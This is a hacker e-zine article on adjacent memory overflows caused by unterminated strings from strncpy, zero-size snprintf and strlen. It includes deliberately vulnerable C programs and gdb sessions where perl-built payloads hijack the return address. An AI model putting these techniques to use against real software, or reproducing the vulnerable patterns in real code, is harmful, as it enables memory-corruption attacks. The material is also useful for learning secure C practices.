.aware eZine Alpha - Overground Hacking
α
Ω


[=========================================================================]
[----------------[ Advances in adjacent memory overflows ]----------------]
[=========================================================================]


       _==####==_
     .############.
   .################.
  .##################.__ __ __ __ _ _ __ __ 
  ##############/_`|#\ V  V // _` | '_/ -_)
  ##############\__,|# \_/\_/ \__,_|_| \___|
  ###########**######                                     
  *#########{   }####*
   ##########._.#####
    ################    by Nomenumbra/[0x00SEC] 
     *############*
       ==####==        



--[ 0x00 ]---------------------------------------------[ Introduction ]----


In this relatively small paper we'll discuss the basics and some
(completely new) advances in adjacent memory overflows. For those
unfamiliar with Adjacent memory overflows i'd like to refer you to Mercy's
article (http://www.milw0rm.com/papers/98) or Twitch's article "TAKING
ADVANTAGE OF NON-TERMINATED ADJACENT MEMORY SPACES" in phrack (Volume 0x0A,
Issue 0x38 phile 0x0E).

Here follows a basic explanation of the phenomenon:

In most of today's apps the vulnerable strcpy() and strcat() functions have
been replaced with strncpy() and strncat() to prevent normal buffer
overflows. It is however possible to exploit the strn* functions and the
likes trough 0-unterminated strings. Let's look at the following example:

---------------------------------------------------------------------------
nobody@cerebrum:~/# cat vln.c
#include <stdlib.h>

int main(int argc,char* argv[])
{
  char buf3[512];
  char buf2[1024];
  char buf[256];
  strncpy(buf,argv[1],256);
  strncpy(buf2,argv[2],1024);  
  sprintf(buf3,"%s",buf);
  return 0;
} 
---------------------------------------------------------------------------

Well most people will say, this shouldn't be a problem? Now should it? I
mean, buf will never be over 256 bytes, and buf3 is far bigger then buf so
where's the problem?

The problem lies in the combination of strncpy and sprintf. Strncpy will
namely copy up to a maximum of 256 bytes, so if argv[1] contains exactly or
more then 256 bytes, it won't copy the terminating NULL-byte (and neither
add it), then sprintf will copy bytes from buf's address all the way up to
the first encountered NULL-byte terminator. As you can see, buf's stack
data will flow right into buf2's data, since they're allocated right next
to each other on the stack. So we can supply a total of 1024 + 256 = 1280
bytes which is more then enough to overflow buf3. As you can see the
requirements for exploiting an app with an adjacent memory overflow are:

 [*] Prescense of a vulnerable function handling user-controlled data
 [*] This data being handled by a function assuming NULL-byte termination
 [*] Fair control of surrounding stack area

These vulnerable functions can be custom as well of course, so don't only
look for the ones mentioned here.



--[ 0x01 ]------------------------------------[ Exploiting snprintf() ]----

Of course, not all functions will allow adjacent memory overflows to occur
like this.  For example, read() and strncpy() will allow further reading,
while similarly fgets() and snprintf() will not, under the same size
limitations.

snprintf() (and fgets) where long thought to be safe from adjacent memory
overflows due to automatic adding of a terminating null byte - that was
wrong as I noticed ...

The official documentation tells us that:

  "If size is zero, nothing is written and str may be null."
  
Nothing is written, correct, but it isn't 0 terminated either >:). Now let
us look a bit more in-depth: 

Size includes the terminating 0byte ,so if size is 10, it'll copy bytes
until it encouters a terminating 0 byte, if it doesn't find one withing 9
bytes, it'll copy 9 bytes and add it's own terminating 0 byte. And this is
where the problem lies.... 

It copies up to size-1 bytes from the buffer - interesting. Now if we look
at the doprintf() function utilized by snprintf() source we see:

---------------------------------------------------------------------------
   currlen = flags = cflags = min = 0;
   max = -1;
   ch = *format++;

   while (state != DP_S_DONE)
     {
       if ((ch == '\0') || (currlen >= maxlen)) 
         state = DP_S_DONE;
   
// ....   
// Then later, at the end: 


   if (currlen < maxlen - 1) 
       buffer[currlen] = '\0';
   else 
       buffer[maxlen - 1] = '\0';
---------------------------------------------------------------------------

the problem obviously lies in the fact that currlen being 0 and getting
compared to 0 it breaks (the switch statement over state breaks upon
DP_S_DONE) and goes straight to

    if(0 < -1)
        buffer[0] = '\0';
    else 
        buffer[0 - 1] = '\0';

so buffer[-1] will be 0x00? yup, which effectively leaves the buffer
unterminated with a NULL byte (and unfilled too) leaving it completely open
to adjacent memory overflows. want an example?

---------------------------------------------------------------------------
nobody@cerebrum:~/# cat /proc/sys/kernel/randomize_va_space
0
<! 
  No va randomization in this case!
 !>

nobody@cerebrum:~/# cat vln.c

#include <stdlib.h

int main(int argc,char* argv[])
{
  char buf3[11];

  char buf2[100];
  char buf[10];
  snprintf(buf,0,"%s",argv[1]);
  strncpy(buf2,argv[2],100);
  sprintf(buf3,"%s",buf);
  printf("%s\n",buf3);
  return 0;
}

nobody@cerebrum:~/# gcc -o vln vln.c
nobody@cerebrum:~/# ./vln a test
?%?test

<!
   See the test at the end of buf3? That's right, buf isn't 0 terminated so
   sprintf just runs like a muthafucker all the way up to buf2
   Exploitation is trivial
!>
nobody@cerebrum:~/# gdb vln
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions. Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...Using host libthread_db
library "/lib/tls/libthread_db.so.1".

(gdb) r a `perl -e 'print "A"x12,"B"x4'`
Starting program: /tmp/vln a `perl -e 'print "A"x12,"B"x4'`
???%?AAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
---------------------------------------------------------------------------

Now, on with the show. This type of bug will most likely only occur when
size is user-supplied or user-influenced, so imagine the following example:

---------------------------------------------------------------------------
nobody@cerebrum:~/# cat vln.c

#include <stdlib.h>

int main(int argc,char* argv[])
{
  char buf3[20];

  char buf2[100];
  char buf[10];
  int lim;
  printf("Usage: %s <str1 max size including the 0-byte terminator>"
         " <str1> <str2>\n",argv[0]);
  lim = atoi(argv[1]);
  if (lim > 9)
    exit(0);
  snprintf(buf,lim,"%s",argv[2]);
  snprintf(buf2,99,"%s",argv[3]); // correct usage
  sprintf(buf3,"%s",buf); // buf to buf3
  printf("buf3: [%s]\n",buf3);
  return 0;
}

nobody@cerebrum:~/# gcc -o vln vln.c
nobody@cerebrum:~/# ./vln 2 123456789 test
Usage: ./vln <str1 max size> <str1> <str2>
buf3: [1]
nobody@cerebrum:~/# ./vln 0 123456789 test
./vln 0 123456789 test
Usage: ./vln <str1 max size> <str1> <str2>
buf3: [??

<!
   Huh?! No memory overflow into str2? No moaning yet, just sit back and
   watch ;)
!>

nobody@cerebrum:~/# ./vln -1 123456789123456789 test
Usage: ./vln <str1 max size> <str1> <str2>
buf3: [1234567890123456test]
---------------------------------------------------------------------------

As you can see the buffer will be filled up with 16 bytes before continuing
into buf2. Exploitation is, again, trivial:

---------------------------------------------------------------------------
nobody@cerebrum:~/# gdb vln
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions. Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...Using host libthread_db
library "/lib/tls/libthread_db.so.1".

(gdb) r -1 1234567890123456 `perl -e 'print "A"x28,"B"x4'`
Starting program: /tmp/vln -1 1234567890123456 `perl -e 'print "A"x28,"B"x4'`
Usage: /tmp/vln <str1 max size inc 0-byte> <str1> <str2>
buf3: [1234567890123456AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB]

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
---------------------------------------------------------------------------

As you can see, the exploitability of a piece of code is highly
situationally and environmentally dependant, but this shows that some cases
CAN be exploited and arms you with yet another nice weapon in your arsenal
of doom ;)



--[ 0x02 ]-----------------[ Abusing strlen() for more memory madness ]----

Yes, strlen() and consorts can be exploited too, well not in a casual way
like buffer overflows, but in the same way integer overflows can. Through
programmer assumption. The programmer assumes things about the return value
of strlen(). For example, if we strlen(buf) and buf is the result of a
strncpy(buf,argv[1],10) the programmer will most likely assume strlen()
will never be bigger than 10. But that's untrue...

Let us look at a sample program that would be commonly considered safe, if
it weren't for adjacent memory overflows:

---------------------------------------------------------------------------
nobody@cerebrum:~/# cat vln.c
#include <stdlib.h>

int main(int argc,char* argv[])
{
  char buf3[512];
  char buf2[1024];
  char buf[256];
  strncpy(buf,argv[1],256);
  strncpy(buf2,argv[2],1024);  
  strncpy(buf3,buf,strlen(buf));
  printf("[%s]\n",buf3);
  return 0;
} 
---------------------------------------------------------------------------

Hmm how to exploit this? We have a 0-unterminated buf going all the way
right into buf2 - but buf is strncpy()'ed into buf3, not sprintf()'ed or
strcpy()'ed - and as we take a close look at the size parameter, we spot
strlen(). Now how can this work in our benefit:

strlen() counts the number of bytes at the pointer supplied to it's first
argument, all the way up to the first terminating null byte. Because buf
is 0-unterminated in the example, strlen will continue searching for a
null-byte in buf2, hence it returning a higher result. This can be
exploited in a trivial manner:

---------------------------------------------------------------------------
nobody@cerebrum:~/# gdb vln

GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions. Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...Using host libthread_db
library "/lib/tls/libthread_db.so.1".

(gdb) r `perl -e 'print "A"x256'` `perl -e 'print "A"x268,"B"x4'`
Starting program: /tmp/vln `perl -e 'print "A"x256'` `perl -e 'print "A"x26
8,"B"x4'`
[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
BBBB]

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
---------------------------------------------------------------------------


This vulnerability goes for memcpy, strncat, memmove and others as well of
course. Note that strstr, strchr,strcspn and the like are vulnerable too,
if the first parameter is 0-unterminated, they will keep digging trough
memory, potentially returning pointers to some place in a far bigger buffer 
or one  containing potentially sensitive data).

As you can see this case is yet again higly dependant on the code as a
whole, just like with integer overflows.  To sum up some vulnerable
functions:

Some functions vuln to adjacent memory overflows trough 0-unterminated
strings:

      [*]  sprintf
      [*]  fprintf           
      [*]  snprintf
      [*]  memcpy           
      [*]  memmove
      [*]  strcpy
      [*]  strcat
      [*]  strlen
      [*]  strstr
      [*]  strchr
      [*]  strcspn
      [*]  read
      [*]  ...
           
           
           
--[ 0x03 ]----------------------------------------------------[ Outro ]----

Well peeps, i hope you enjoyed this small text and learned something from
it, i most certainly did. And remember kids, keep the scene alive, never
sell out and never narc. 

Greetz and shouts to:

The .aware/xzziroz cast & crew (of course ;), All Nullsec members,  the
HackThisSite community, PullThePlug folks, the guys over at SmashTheStack,
RRLF, Binary Shadow Organization, Blacksecurity, the vx.netlux.org people
and all true "hackers"/blackhats out there.
This page is part of the .aware network. Content and design © 2004 - 2014 .aware network
Due to certified insanity, we are not responsible for anything, period.